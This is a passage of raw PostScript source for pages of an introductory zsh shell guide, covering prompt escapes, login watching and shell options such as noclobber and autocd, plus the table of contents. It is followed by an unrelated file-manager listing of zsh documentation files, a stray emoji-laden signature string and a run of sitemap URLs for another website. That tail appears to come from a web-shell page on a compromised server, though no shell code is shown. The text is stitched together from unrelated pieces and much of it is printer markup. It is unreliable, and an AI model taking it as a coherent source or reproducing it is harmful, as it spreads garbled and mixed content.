F0(is:)2.5 E F1(phoenix% echo $PROMPT)108 323.6 Q(%m%#)108 334.6 Q F2
(The)72 351.6 Q F1(%m)2.303 E F2 .053
(stands for the short form of the current hostname, and the)2.303 F F1
(%#)2.303 E F2 .053(stands for a)2.303 F F1(%)2.303 E F2 .053(or a)2.303
F F1(#)2.303 E F2 2.303(,d)C .053(epending on whether the shell is run-)
-2.303 F(ning as root or not.)72 362.6 Q F3(zsh)4.5 E F2(supports man)
2.25 E 2.25(yo)-.135 G(ther control sequences in the)-2.25 E F3(PR)2.25
E(OMPT)-.27 E F2 -.225(va)2.25 G(riable.).225 E F1 5.4(%P)108 379.6 S
(ROMPT='%/> ')-5.4 E(/u/pfalstad/etc/TeX/zsh>)108 390.6 Q 5.4(%P)108
412.6 S(ROMPT='%~> ')-5.4 E(~/etc/TeX/zsh>)108 423.6 Q 5.4(%P)108 445.6
S(ROMPT='%h %~> ')-5.4 E 5.4(6~)108 456.6 S(/etc/TeX/zsh>)-5.4 E(%h)72
473.6 Q F2 2.25(represents the number of current history e)4.5 F -.135
(ve)-.225 G(nt.).135 E F1 5.4(%P)108 490.6 S(ROMPT='%h %~ %M> ')-5.4 E
(10 ~/etc/TeX/zsh apple-gunkies.gnu.ai.mit.edu>)108 501.6 Q 5.4(%P)108
523.6 S(ROMPT='%h %~ %m> ')-5.4 E(11 ~/etc/TeX/zsh apple-gunkies>)108
534.6 Q 5.4(%P)108 556.6 S(ROMPT='%h %t> ')-5.4 E(12 6:11am>)108 567.6 Q
5.4(%P)108 589.6 S(ROMPT='%n %w tty%l>')-5.4 E(pfalstad Fri 24 ttyp0>)
108 600.6 Q F3(PR)72 617.6 Q(OMPT2)-.27 E F2 .599
(is used in multiline commands, lik)2.849 F 2.849(ef)-.09 G(or)-2.849 E
2.849(-loops. The)-.18 F F1(%_)2.849 E F2 .599(escape sequence w)2.849 F
.599(as made especially for this prompt.)-.09 F .6(It is)5.1 F
(replaced by the kind of command that is being entered.)72 628.6 Q F1
5.4(%P)108 645.6 S(ROMPT2='%_> ')-5.4 E 5.4(%f)108 656.6 S
(or i in foo bar)-5.4 E(for>)108 667.6 Q 5.4(%e)108 689.6 S(cho 'hi)-5.4
E(quote>)108 700.6 Q F2(Also a)72 717.6 Q -.225(va)-.18 G(ilable is the)
.225 E F3(RPR)2.25 E(OMPT)-.27 E F2(parameter)2.25 E 4.5(.I)-.495 G 2.25
(ft)-4.5 G(his is set, the shell puts a prompt on the)-2.25 E/F5 9
/Times-Italic@0 SF(right)2.25 E F2(side of the screen.)2.25 E 0 Cg EP
%%Page: 35 37
%%BeginPageSetup
BP
%%EndPageSetup
/F0 10/Times-Roman@0 SF(-35-)297.67 48 Q/F1 9/Courier@0 SF 5.4(%R)108 83
S(PROMPT='%t')-5.4 E 291.6(%6)108 94 S(:14am)-291.6 E 5.4(%R)108 116 S
(PROMPT='%~')-5.4 E 253.8(%~)108 127 S(/etc/TeX/zsh)-253.8 E 5.4(%P)108
149 S(ROMPT='%l %T %m[%h] ' RPROMPT=' %~')-5.4 E(p0 6:15 phoenix[5])108
160 Q(~/etc/TeX/zsh)162 E/F2 9/Times-Roman@0 SF
(These special escape sequences can also be used with the)72 177 Q F1
(-P)2.25 E F2(option to)2.25 E F1(print)2.25 E F2(:)A F1 5.4(%p)108 194
S(rint -P %h tty%l)-5.4 E(15 ttyp1)108 205 Q F0(The)72 226.6 Q/F3 10
/Times-Bold@0 SF(POSTEDIT)2.711 E F0 .211(parameter is printed whene)
2.711 F -.15(ve)-.25 G 2.711(rt).15 G .211(he editor e)-2.711 F 2.711
(xits. This)-.15 F .21(can be useful for termcap tricks.)2.711 F 1.81
-.8(To h)5.21 H(ighlight).8 E(the prompt and command line while lea)72
238.6 Q(ving command output unhighlighted, try this:)-.2 E F1 5.4(%P)108
255.6 S(OSTEDIT=`echotc se`)-5.4 E 5.4(%P)108 266.6 S(ROMPT='%S%% ')-5.4
E F2
(This trick is mostly superceded by the zle_highlight array parameter)72
283.6 Q(.)-.495 E F3(Login/logout watching)72 307.6 Q F0 -1.1(Yo)72
323.2 S 2.932(uc)1.1 G .432(an specify login or logout e)-2.932 F -.15
(ve)-.25 G .433(nts to monitor by setting the).15 F F3(watch)2.933 E F0
-.25(va)2.933 G 2.933(riable. Normally).25 F 2.933(,t)-.65 G .433
(his is done by specify-)-2.933 F(ing a list of usernames.)72 335.2 Q F1
5.4(%w)108 352.2 S(atch=\( pfalstad subbarao sukthnkr egsirer \))-5.4 E
F2(The)72 369.2 Q F1(log)2.25 E F2
(command reports all people logged in that you are w)2.25 E(atching for)
-.09 E(.)-.495 E F1 5.4(%l)108 386.2 S(og)-5.4 E
(pfalstad has logged on p0 from mickey.)108 397.2 Q
(pfalstad has logged on p5 from mickey.)108 408.2 Q(%)108 419.2 Q F2
(...)5.4 E F1(subbarao has logged on p8 from phoenix.)108 430.2 Q(%)108
441.2 Q F2(...)5.4 E F1(subbarao has logged off p8 from phoenix.)108
452.2 Q(%)108 463.2 Q F2(...)5.4 E F1
(sukthnkr has logged on p8 from dew.)108 474.2 Q(%)108 485.2 Q F2(...)
5.4 E F1(sukthnkr has logged off p8 from dew.)108 496.2 Q F2
(If you specify hostnames with an)72 513.2 Q F1(@)2.25 E F2
(prepended, the shell will w)2.25 E
(atch for all users logging in from the speci\214ed host.)-.09 E F1 5.4
(%w)108 530.2 S(atch=\( @mickey @phoenix \))-5.4 E 5.4(%l)108 541.2 S
(og)-5.4 E(djthongs has logged on q2 from phoenix.)108 552.2 Q
(pfalstad has logged on p0 from mickey.)108 563.2 Q
(pfalstad has logged on p5 from mickey.)108 574.2 Q F2(If you gi)72
591.2 Q .27 -.135(ve a t)-.225 H(ty name with a).135 E F1(%)2.25 E F2
(prepended, the shell will w)2.25 E
(atch for all users logging in on that tty)-.09 E(.)-.585 E F1 5.4(%w)
108 608.2 S(atch=\( %ttyp0 %console \))-5.4 E 5.4(%l)108 619.2 S(og)-5.4
E(root has logged on console from .)108 630.2 Q
(pfalstad has logged on p0 from mickey.)108 641.2 Q F2
(The format of the reports may also be changed.)72 658.2 Q 0 Cg EP
%%Page: 36 38
%%BeginPageSetup
BP
%%EndPageSetup
/F0 10/Times-Roman@0 SF(-36-)297.67 48 Q/F1 9/Courier@0 SF 5.4(%w)108 83
S(atch=\( pfalstad gettes eps djthongs jcorr bdavis \))-5.4 E 5.4(%l)108
94 S(og)-5.4 E(jcorr has logged on tf from 128.112.176.3:0.)108 105 Q
(jcorr has logged on r0 from 128.112.176.3:0.)108 116 Q
(gettes has logged on p4 from yo:0.0.)108 127 Q
(djthongs has logged on pe from grumpy:0.0.)108 138 Q
(djthongs has logged on q2 from phoenix.)108 149 Q
(bdavis has logged on qd from BRUNO.)108 160 Q
(eps has logged on p3 from csx30:0.0.)108 171 Q
(pfalstad has logged on p0 from mickey.)108 182 Q
(pfalstad has logged on p5 from mickey.)108 193 Q 5.4(%W)108 204 S
(ATCHFMT='%n on tty%l from %M')-5.4 E 5.4(%l)108 215 S(og)-5.4 E
(jcorr on ttytf from 128.112.176.3:0.)108 226 Q
(jcorr on ttyr0 from 128.112.176.3:0.)108 237 Q
(gettes on ttyp4 from yo:0.0)108 248 Q
(djthongs on ttype from grumpy:0.0)108 259 Q
(djthongs on ttyq2 from phoenix.Princeto)108 270 Q
(bdavis on ttyqd from BRUNO.pppl.gov)108 281 Q
(eps on ttyp3 from csx30:0.0)108 292 Q
(pfalstad on ttyp0 from mickey.Princeton)108 303 Q
(pfalstad on ttyp5 from mickey.Princeton)108 314 Q 5.4(%W)108 325 S
(ATCHFMT='%n fm %m')-5.4 E 5.4(%l)108 336 S(og)-5.4 E
(jcorr fm 128.112.176.3:0)108 347 Q(jcorr fm 128.112.176.3:0)108 358 Q
(gettes fm yo:0.0)108 369 Q(djthongs fm grumpy:0.0)108 380 Q
(djthongs fm phoenix)108 391 Q(bdavis fm BRUNO)108 402 Q
(eps fm csx30:0.0)108 413 Q(pfalstad fm mickey)108 424 Q
(pfalstad fm mickey)108 435 Q 5.4(%W)108 446 S
(ATCHFMT='%n %a at %t %w.')-5.4 E 5.4(%l)108 457 S(og)-5.4 E
(jcorr logged on at 3:15pm Mon 20.)108 468 Q
(jcorr logged on at 3:16pm Wed 22.)108 479 Q
(gettes logged on at 6:54pm Wed 22.)108 490 Q
(djthongs logged on at 7:19am Thu 23.)108 501 Q
(djthongs logged on at 7:20am Thu 23.)108 512 Q
(bdavis logged on at 12:40pm Thu 23.)108 523 Q
(eps logged on at 4:19pm Thu 23.)108 534 Q
(pfalstad logged on at 3:39am Fri 24.)108 545 Q
(pfalstad logged on at 3:42am Fri 24.)108 556 Q/F2 9/Times-Roman@0 SF
(If you ha)72 573 Q .27 -.135(ve a)-.18 H F1(.friends)2.385 E F2
(\214le in your home directory)2.25 E 2.25(,ac)-.585 G(on)-2.25 E -.135
(ve)-.36 G(nient w).135 E(ay to mak)-.09 E(e)-.09 E/F3 9/Times-Bold@0 SF
(zsh)2.25 E F2 -.09(wa)2.25 G(tch for all your friends is to do this:)
.09 E F1 5.4(%w)108 590 S(atch=\( $\(< ~/.friends\) \))-5.4 E 5.4(%e)108
601 S(cho $watch)-5.4 E(subbarao maruchck root sukthnkr)108 612 Q F2
(...)5.4 E(If w)72 629 Q(atch is set to)-.09 E F1(all)2.25 E F2 2.25(,t)
C(hen all users logging in or out will be reported.)-2.25 E/F4 10
/Times-Bold@0 SF(Options)72 653 Q F0(Some options ha)72 668.6 Q .3 -.15
(ve a)-.2 H(lready been mentioned; here are a fe).15 E 2.5(wm)-.25 G
(ore:)-2.5 E(Using the)72 684.2 Q/F5 10/Times-Italic@0 SF -.5(AU)2.5 G
-.18(TO).5 G(CD).18 E F0
(option, you can simply type the name of a directory)2.5 E 2.5(,a)-.65 G
(nd it will become the current directory)-2.5 E(.)-.65 E 0 Cg EP
%%Page: 37 39
%%BeginPageSetup
BP
%%EndPageSetup
/F0 10/Times-Roman@0 SF(-37-)297.67 48 Q/F1 9/Courier@0 SF 5.4(%c)108 83
S 5.4(d/)-5.4 G 5.4(%s)108 94 S(etopt autocd)-5.4 E 5.4(%b)108 105 S(in)
-5.4 E 5.4(%p)108 116 S(wd)-5.4 E(/bin)108 127 Q 5.4(%.)108 138 S(./etc)
-5.4 E 5.4(%p)108 149 S(wd)-5.4 E(/etc)108 160 Q/F2 9/Times-Roman@0 SF
-.36(Wi)72 177 S(th).36 E/F3 9/Times-Italic@0 SF(CD)2.357 E(ABLEV)-.315
E(ARS)-.54 E F2 2.356(,i)C 2.356(ft)-2.356 G .106(he ar)-2.356 F .106
(gument to)-.162 F F1(cd)2.356 E F2 .106
(is the name of a parameter whose v)2.356 F .106(alue is a v)-.225 F
.106(alid directory)-.225 F 2.356(,i)-.585 G 2.356(tw)-2.356 G .106
(ill become the current)-2.356 F(directory)72 188 Q(.)-.585 E F1 5.4(%s)
108 205 S(etopt cdablevars)-5.4 E 5.4(%f)108 216 S(oo=/tmp)-5.4 E 5.4
(%c)108 227 S 5.4(df)-5.4 G(oo)-5.4 E(/tmp)108 238 Q F3(CORRECT)72 255 Q
F2 .802(turns on spelling correction for commands, and the)3.052 F F3
(CORRECT)3.053 E(ALL)-.45 E F2 .803
(option turns on spelling correction for all ar)3.053 F(gu-)-.162 E
(ments.)72 266 Q F1 5.4(%s)108 283 S(etopt correct)-5.4 E 5.4(%s)108 294
S(l)-5.4 E(zsh: correct `sl' to `ls' [nyae]? y)108 305 Q 5.4(%s)108 316
S(etopt correctall)-5.4 E 5.4(%l)108 327 S 5.4(sx)-5.4 G(.v11r4)-5.4 E
(zsh: correct `x.v11r4' to `X.V11R4' [nyae]? n)108 338 Q
(/usr/princton/src/x.v11r4 not found)108 349 Q 5.4(%l)108 360 S 5.4(s/)
-5.4 G(etc/paswd)-5.4 E
(zsh: correct to `/etc/paswd' to `/etc/passwd' [nyae]? y)108 371 Q
(/etc/passwd)108 382 Q F2 .704(If you press)72 399 R F1(y)2.954 E F2
.704(when the shell asks you if you w)2.954 F .704(ant to correct a w)
-.09 F .704(ord, it will be corrected.)-.09 F .704(If you press)5.204 F
F1(n)2.954 E F2 2.954(,i)C 2.954(tw)-2.954 G .703(ill be left alone.)
-2.954 F(Pressing)72 410 Q F1(a)2.626 E F2 .376
(aborts the command, and pressing)2.626 F F1(e)2.626 E F2 .376
(brings the line up for editing ag)2.626 F .376
(ain, in case you agree the w)-.045 F .376(ord is spelled wrong)-.09 F
-.18(bu)72 421 S 2.25(ty).18 G(ou don')-2.25 E 2.25(tl)-.162 G(ik)-2.25
E 2.25(et)-.09 G(he correction.)-2.25 E F0(Normally)72 436.6 Q 2.5(,aq)
-.65 G(uoted e)-2.5 E(xpression may contain a ne)-.15 E(wline:)-.25 E F1
5.4(%e)108 453.6 S(cho ')-5.4 E 5.4(>f)108 464.6 S(oo)-5.4 E 5.4(>')108
475.6 S(foo)108 497.6 Q(%)108 519.6 Q F2 -.36(Wi)72 536.6 S(th).36 E F3
(CSHJUNKIEQ)2.25 E(UO)-.09 E(TES)-.36 E F2(set, this is ille)2.25 E
-.045(ga)-.135 G(l, as it is in csh.).045 E F1 5.4(%s)108 553.6 S
(etopt cshjunkiequotes)-5.4 E 5.4(%l)108 564.6 S 5.4(s')-5.4 G(foo)-5.4
E(zsh: unmatched ')108 575.6 Q F3(GLOBDO)72 592.6 Q(TS)-.36 E F2 .109
(lets \214les be)2.359 F .109(ginning with a)-.135 F F1(.)2.359 E F2
.109(be matched without e)2.359 F .108(xplicitly specifying the dot. Th\
is can also be speci\214ed for a partic-)-.135 F
(ular pattern by appending \(D\) to it.)72 603.6 Q F1 5.4(%l)108 620.6 S
5.4(s-)-5.4 G 5.4(d*)-5.4 G(x*)-5.4 E(Mailboxes)108 631.6 Q 5.4(%l)108
642.6 S 5.4(s-)-5.4 G 5.4(d*)-5.4 G(x*\(D\))-5.4 E 43.2
(.exrc .pnewsexpert)108 653.6 R(.xserverrc)10.8 E 10.8
(.mushexpert .xinitrc)108 664.6 R(Mailboxes)32.4 E 5.4(%s)108 675.6 S
(etopt globdots)-5.4 E 5.4(%l)108 686.6 S 5.4(s-)-5.4 G 5.4(d*)-5.4 G
(x*)-5.4 E 43.2(.exrc .pnewsexpert)108 697.6 R(.xserverrc)10.8 E 10.8
(.mushexpert .xinitrc)108 708.6 R(Mailboxes)32.4 E F3(HISTIGNOREDUPS)72
725.6 Q F2(pre)5.339 E -.135(ve)-.225 G 3.09
(nts the current line from being sa).135 F -.135(ve)-.18 G 5.34(di).135
G 5.34(nt)-5.34 G 3.09(he history if it is the same as the pre)-5.34 F
3.09(vious one;)-.225 F 0 Cg EP
%%Page: 38 40
%%BeginPageSetup
BP
%%EndPageSetup
/F0 10/Times-Roman@0 SF(-38-)297.67 48 Q/F1 9/Times-Italic@0 SF
(HISTIGNORESP)72 83 Q -.27(AC)-.81 G(E).27 E/F2 9/Times-Roman@0 SF(pre)
2.25 E -.135(ve)-.225 G(nts the current line from being sa).135 E -.135
(ve)-.18 G 2.25(di).135 G 2.25(fi)-2.25 G 2.25(tb)-2.25 G -.135(eg)-2.25
G(ins with a space.).135 E/F3 9/Courier@0 SF 5.4(%P)108 100 S
(ROMPT='%h> ')-5.4 E(39> setopt histignoredups)108 111 Q(40> echo foo)
108 122 Q(foo)108 133 Q(41> echo foo)108 144 Q(foo)108 155 Q
(41> echo foo)108 166 Q(foo)108 177 Q(41> echo bar)108 188 Q(bar)108 199
Q(42> setopt histignorespace)108 210 Q 5.4(43> echo)108 221 R(foo)5.4 E
(foo)108 232 Q 5.4(43> echo)108 243 R(fubar)5.4 E(fubar)108 254 Q 5.4
(43> echo)108 265 R(fubar)5.4 E(fubar)108 276 Q F1(IGNOREBRA)72 293 Q
(CES)-.27 E F2(turns of)2.25 E 2.25(fc)-.225 G(sh-style brace e)-2.25 E
(xpansion.)-.135 E F3 5.4(%e)108 310 S(cho x{y{z,a},{b,c}d}e)-5.4 E
(xyze xyae xbde xcde)108 321 Q 5.4(%s)108 332 S(etopt ignorebraces)-5.4
E 5.4(%e)108 343 S(cho x{y{z,a},{b,c}d}e)-5.4 E(x{y{z,a},{b,c}d}e)108
354 Q F1(IGNOREEOF)72 371 Q F2(forces the user to type)2.25 E F3(exit)
2.25 E F2(or)2.25 E F3(logout)2.25 E F2 2.25(,i)C
(nstead of just pressing)-2.25 E F1(^D)2.25 E F2(.)A F3 5.4(%s)108 388 S
(etopt ignoreeof)-5.4 E 5.4(%^)108 399 S(D)-5.4 E
(zsh: use 'exit' to exit.)108 410 Q F1(INTERA)72 427 Q(CTIVECOMMENTS)
-.27 E F2(turns on interacti)2.25 E .27 -.135(ve c)-.225 H
(omments; comments be).135 E(gin with a)-.135 E F3(#)2.25 E F2(.)A F3
5.4(%s)108 444 S(etopt interactivecomments)-5.4 E 5.4(%d)108 455 S
(ate # this is a comment)-5.4 E(Fri May 24 06:54:14 EDT 1991)108 466 Q
F1(NOBEEP)72 483 Q F2(mak)2.25 E(es sure the shell ne)-.09 E -.135(ve)
-.225 G 2.25(rb).135 G(eeps.)-2.25 E/F4 10/Times-Italic@0 SF(NOCLOBBER)
72 498.6 Q F0(pre)2.5 E -.15(ve)-.25 G(nts you from accidentally o).15 E
-.15(ve)-.15 G(rwriting an e).15 E(xisting \214le.)-.15 E F3 5.4(%s)108
515.6 S(etopt noclobber)-5.4 E 5.4(%c)108 526.6 S
(at /dev/null >~/.zshrc)-5.4 E(zsh: file exists: /u/pfalstad/.zshrc)108
537.6 Q F2 .278(If you really do w)72 554.6 R .278
(ant to clobber a \214le, you can use the)-.09 F F3(>!)2.527 E F2
(operator)2.527 E 4.777(.T)-.495 G 2.527(om)-5.497 G(ak)-2.527 E 2.527
(et)-.09 G .277(hings easier in this case, the)-2.527 F F3(>)2.527 E F2
.277(is stored in the his-)2.527 F(tory list as a)72 565.6 Q F3(>!)2.25
E F2(:)A F3 5.4(%c)108 582.6 S(at /dev/null >! ~/.zshrc)-5.4 E 5.4(%c)
108 593.6 S(at /etc/motd > ~/.zshrc)-5.4 E
(zsh: file exists: /u/pfalstad/.zshrc)108 604.6 Q 5.4(%!)108 615.6 S(!)
-5.4 E(cat /etc/motd >! ~/.zshrc)108 626.6 Q(%)108 637.6 Q F2(...)5.4 E
F1(RCQ)72 654.6 Q(UO)-.09 E(TES)-.36 E F2(lets you use a more ele)2.25 E
-.045(ga)-.135 G
(nt method for including single quotes in a singly quoted string:).045 E
0 Cg EP
%%Page: 39 41
%%BeginPageSetup
BP
%%EndPageSetup
/F0 10/Times-Roman@0 SF(-39-)297.67 48 Q/F1 9/Courier@0 SF 5.4(%e)108 83
S(cho '"don'\\''t do that."')-5.4 E("don't do that.")108 94 Q 5.4(%e)108
105 S(cho '"don''t do that."')-5.4 E("dont do that.")108 116 Q 5.4(%s)
108 127 S(etopt rcquotes)-5.4 E 5.4(%e)108 138 S
(cho '"don''t do that."')-5.4 E("don't do that.")108 149 Q/F2 9
/Times-Roman@0 SF(Finally)72 166 Q(,)-.585 E/F3 9/Times-Italic@0 SF
(SUNKEYBO)2.916 E(ARDHA)-.495 E(CK)-.27 E F2 .666(wins the a)2.916 F
-.09(wa)-.135 G .666(rd for the strangest option.).09 F .666
(If a line ends with)5.166 F F1(`)2.916 E F2 2.916(,a)C .666
(nd there are an odd number of)-2.916 F .607
(them on the line, the shell will ignore the trailing)72 177 R F1(`)
2.857 E F2 5.107(.T)C .607(his is pro)-5.107 F .607(vided for k)-.135 F
-.135(ey)-.09 G .607(boards whose RETURN k).135 F .877 -.135(ey i)-.09 H
2.857(st).135 G .606(oo small, and too)-2.857 F(close to the)72 188 Q F1
(`)2.25 E F2 -.09(ke)2.25 G -.585(y.)-.045 G F1 5.4(%s)108 205 S
(etopt sunkeyboardhack)-5.4 E 5.4(%d)108 216 S(ate`)-5.4 E
(Fri May 24 06:55:38 EDT 1991)108 227 Q/F4 10/Times-Bold@0 SF
(Closing Comments)72 257 Q F0 3.377(I\()72 272.6 S .877(Bas de Bakk)
-3.377 F .877(er\) w)-.1 F .878(ould be happ)-.1 F 3.378(yt)-.1 G 3.378
(or)-3.378 G(ecei)-3.378 E 1.178 -.15(ve m)-.25 H .878(ail if an).15 F
.878(yone has an)-.15 F 3.378(yt)-.15 G .878
(ricks or ideas to add to this document, or if)-3.378 F .321
(there are some points that could be made clearer or co)72 284.6 R -.15
(ve)-.15 G .321(red more thoroughly).15 F 5.321(.P)-.65 G .321
(lease notify me of an)-5.321 F 2.821(ye)-.15 G .321(rrors in this)
-2.821 F(document.)72 296.6 Q 0 Cg EP
%%Page: 40 42
%%BeginPageSetup
BP
%%EndPageSetup
/F0 10/Times-Roman@0 SF(-40-)297.67 48 Q 0 Cg EP
%%Page: 1 43
%%BeginPageSetup
BP
%%EndPageSetup
/F0 12/Times-Bold@0 SF -1.104(Ta)260.886 96 S(ble of Contents)1.104 E/F1
10/Times-Roman@0 SF 1.06(Introduction .)72 132 R -2.5 10
(............................... 1)10 H(Filename Generation)72 144 Q
-2.5 10(............................. 1)6.35 H(Startup Files)72 156 Q
-2.5 10(............................... 5)14.66 H(Shell Functions)72 168
Q -2.5 10(............................... 5)2.99 H 6.07(Directories .)72
180 R -2.5 10(............................... 8)10 H(Directory Stacks)72
192 Q -7.5 10(.............................. 1)11.07 H(0)-10 E
(Command/Process Substitution)72 204 Q -7.5 10
(......................... 1)14.65 H(2)-10 E 3.84(Redirection .)72 216 R
-7.5 10(............................... 1)10 H(4)-10 E 4.11(Aliasing .)
72 228 R -7.5 10(................................ 1)10 H(5)-10 E 8
(History .)72 240 R -7.5 10(................................ 1)10 H(7)
-10 E(Command Line Editing)72 252 Q -7.5 10
(............................ 1)8.55 H(9)-10 E 3.27(Completion .)72 264
R -7.5 10(............................... 2)10 H(2)-10 E
(Extended completion)72 276 Q -7.5 10(............................. 2)
5.23 H(6)-10 E 1.88(Bindings .)72 288 R -7.5 10
(................................ 2)10 H(7)-10 E -.15(Pa)72 300 S
(rameter Substitution).15 E -7.5 10(............................ 2)11.76
H(8)-10 E(Shell P)72 312 Q 8.16(arameters .)-.15 F -7.5 10
(............................. 3)10 H(1)-10 E 8.27(Prompting .)72 324 R
-7.5 10(............................... 3)10 H(4)-10 E(Login/logout w)72
336 Q 9.21(atching .)-.1 F -7.5 10(........................... 3)10 H(5)
-10 E 6.33(Options .)72 348 R -7.5 10
(................................ 3)10 H(6)-10 E(Closing Comments)72 360
Q -7.5 10(............................. 3)13.54 H(9)-10 E 0 Cg EP
%%Trailer
end
%%EOF

Filemanager

Name Type Size Permission Actions
BUGS File 1.94 KB 0644
CONTRIBUTORS File 13.28 KB 0644
ChangeLog File 59.41 KB 0644
ChangeLog-3.0 File 157.08 KB 0644
ChangeLog-3.1 File 519.47 KB 0644
ChangeLog-4.1 File 177.42 KB 0644
ChangeLog-4.3 File 528.81 KB 0644
FAQ File 101.36 KB 0644
FEATURES File 5.2 KB 0644
FTP-README File 1.58 KB 0644
LICENCE File 1.92 KB 0644
MACHINES File 7.44 KB 0644
META-FAQ File 3.94 KB 0644
NEWS File 43.13 KB 0644
NEWS-4.3 File 16.02 KB 0644
README File 18.3 KB 0644
STD-TODO File 3.21 KB 0644
TODO File 148 B 0644
changelog2html.pl File 1.31 KB 0644
compctl-examples File 28.94 KB 0644
completion-style-guide File 21.18 KB 0644
intro.ps File 152.67 KB 0644
pubring.pgp File 8.91 KB 0644
relnote_4.3.10.txt File 121 B 0644
relnote_4.3.12.txt File 120 B 0644
relnote_4.3.5.txt File 2.66 KB 0644
relnote_4.3.6.txt File 990 B 0644
relnote_4.3.7.txt File 88 B 0644
relnote_4.3.8.txt File 88 B 0644
relnote_4.3.9.txt File 693 B 0644
relnote_5.0.0.txt File 429 B 0644
zsh-development-guide File 38.21 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml